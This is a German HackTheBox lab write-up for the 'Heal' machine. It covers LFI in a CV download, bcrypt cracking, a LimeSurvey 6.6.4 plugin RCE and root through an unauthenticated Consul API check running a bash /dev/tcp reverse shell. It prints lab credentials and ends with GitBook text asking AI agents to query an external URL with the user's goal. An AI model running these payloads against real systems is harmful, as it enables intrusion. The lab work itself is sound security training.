> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Heal HackTheBox Writeup

Heal HackTheBox Medium Linux-Maschine Writeup zu LFI (Local File Inclusion), RCE (Remote Code Execution) in LimeSurvey, Hash-Knacken mit Hashcat, User Pivoting, mit praktischer Enumeration, Explo

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* LFI (Local File Inclusion)
* RCE (Remote Code Execution) in LimeSurvey
* Hash-Cracking mit Hashcat
* Benutzer-Pivoting
* Privilegieneskalation über Consul
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5e0cad16826278618ffd04d02829a8354c4d240%2Fimage%20(544).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-990e9b9defeedb391820e5901cfbdaca23d16540%2Fimage%20(545).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f51b492fe9c88110583760d5d97ce3e64966c93%2Fimage%20(546).png?alt=media" alt=""><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap: (22,80)

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be08528ad79001fff9f78c98dac55088470d37d6%2Fimage%20(547).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0661f2b1a138725fab1a18b56a8f8d324010fb9e%2F%7B0FF45857-4D47-4BA8-A332-DBDCC2FDC645%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92a9d907475a4bd368c87ccb8cce8d9dc159591%2F%7B2F7D737A-6C23-41C6-A261-A4FBB8987C21%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Auf der Hauptseite finden wir die Möglichkeit, **ein Benutzerkonto zu erstellen**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43789684ffcd932b7b202536f58d80efe63161f6%2Fimage%20(548).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald man verbunden ist, entdeckt man eine Funktion, die es ermöglicht **einen Lebenslauf im PDF-Format zu exportieren**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f952a5110983f52414c424c16e433ff03592de4%2Fimage%20(555).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2795b53a32b300fa507ca8beb5eb22336eb97514%2Fimage%20(556).png?alt=media" alt=""><figcaption></figcaption></figure>

## LFI-Schwachstelle (Local File Inclusion)

#### LFI-Ausnutzung über `Lebenslauf`

Durch das Abfangen der CV-Download-Anfrage entdecken wir eine LFI-Schwachstelle:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> Es ist **erforderlich, die Token-Authentifizierung einzuschließen**, andernfalls schlägt die Anfrage fehl.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7565eee89f9f9831a6e164e0da67d667a76a44ec%2F%7BBB2FC273-46B8-4371-83FD-0ED35536EBE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraktion sensibler Dateien

#### Zugriff auf die SQLite-Datenbank

Durch das Auflisten sensibler Dateien entdecken wir eine Weiterleitung zu `/storage/development.sqlite3`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c09079575e3e7a7586b6fe7db3576086ae8990bb%2Fimage%20(557).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Datenbank wird heruntergeladen und zwei Konten werden mit ihren **bcrypt-Hashes**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b20638366de9c0f128b4c47e46ce8f2d8476dbf%2Fimage%20(558).png?alt=media" alt=""><figcaption></figcaption></figure>

### Hash-Cracking

#### Mit Hashcat

Verwenden Sie **Hashcat** um zu versuchen, die Hashes mit `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> Ergebnis: Wir finden das Passwort für **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-debb850fe2a8921432fb8641ddaaafb78f416424%2Fimage%20(559).png?alt=media" alt=""><figcaption></figcaption></figure>

### Entdeckung der Subdomain: `take-survey`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7687b8cc928b45176926323ff199f1660462ace%2Fimage%20(554).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Den Eintrag zu `/etc/hosts`

Eine neue Subdomain erscheint in der Anwendung. Wir fügen sie unseren Host-Dateien hinzu

## Schwachstelle im LimeSurvey-CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Zugriff auf den Administrationsbereich

Es wird entdeckt, dass die Administrationsoberfläche über die folgende URL erreichbar ist:

`http://take-survey.heal.htb/index.php/admin`

Wir melden uns mit Ralphs Zugangsdaten an:

* **Benutzername** : `ralph`
* **Passwort** : `147258369`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fanden heraus, dass die verwendete LimeSurvey-Version **6.6.4**, die anfällig für einen **Remote Code Execution (NCE)**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### RCE-Ausnutzung über ein bösartiges Plugin

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Wir haben das Betriebsskript an unsere Situation angepasst.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

Zunächst erstellten wir eine komprimierte Datei, die eine `config.xml` Datei und ein PHP-Reverse-Shell-Skript enthält:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann installierten wir dieses bösartige Plugin über die LimeSurvey-Weboberfläche.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

Beim Darüberfahren mit der Maus über das installierte Plugin erkannten wir die Plugin-ID.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nachdem wir das Skript bearbeitet hatten, um diese ID einzubinden, lauschten wir auf Port 443:

```bash
nc -nlvp 443
```

Schließlich führten wir den Exploit über Python aus:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Stabilisierung des Linux-Terminals:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting zum Benutzer ron

Bei der Erkundung der Maschine fanden wir einen weiteren Benutzer **ron**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6be7d8f6d5276338473401d246cb017a7be4bfb%2F%7B2F7E298B-6E90-4994-9452-18D007F91EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Eine Konfigurationsdatei im `Anwendungs` ordner enthielt Logins und Passwörter für den Datenbankzugriff:

* Benutzername = `db_user`
* Passwort = `AdmiDi0_pA$$w0rd`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e4be832d5838c5fe07d6ce68c4a5b23c9c01a80%2Fimage%20(2967).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit diesen Zugangsdaten konnten wir auf das Konto von **ron**, wodurch wir in der Lage waren, die **Flag user.txt**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ffe223c70d50441339f96b59fa178e27afd7ceb%2F%7B4EC0BEF1-07E3-46DD-B5FF-1BA92594D0E5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67e4da566347301781376224871385c1a5632019%2Fimage%20(2972).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### Entdeckung von Port 8500 (Consul)

Beim Blick auf die offenen Ports fanden wir den Port **8500**, der der Weboberfläche von Consul entspricht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

Nachdem wir eine Anfrage an `127.0.0.1:8500/ui/`fanden wir die Version von Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Zugriffsprüfung der REST-API

Wir testeten die Consul-REST-API, um zu prüfen, ob sie ohne Authentifizierung erreichbar war:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Wir erhielten eine Antwort, die bestätigte, dass die API offen war.

### Ausnutzung über einen bösartigen Check

Wir haben einen Dienst mit einer bösartigen Prüfung registriert, die einen Bash-Befehl verwendet, um eine Reverse Shell zu unserer Maschine zu öffnen:

```bash
nc -lvnp 4444
```

#### Einen Dienst mit einer bösartigen Prüfung registrieren

Consul ermöglicht die dynamische Registrierung von Diensten über eine HTTP-Anfrage. Wir nutzen dies, um einen "Check" zu erstellen, der einen Bash-Befehl ausführt.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Was dieses Payload tut:

* `Check.Args[]`: enthält einen Bash-Befehl, der eine **Reverse Shell**.
* `Intervall`: Legt die automatische Ausführung alle 10 Sekunden fest.

Durch das Ausführen dieses Payloads gelang es uns, eine Root-Shell zu erhalten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b150173a75b0b9b3df2594baa208531bcfb585c%2Fimage%20(2975).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-498936820a8e0f32b4dedfbc2b516d5e0e767069%2F%7B6A608BB4-A096-46A6-96C7-822A3D8F79F7%7D.png?alt=media" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
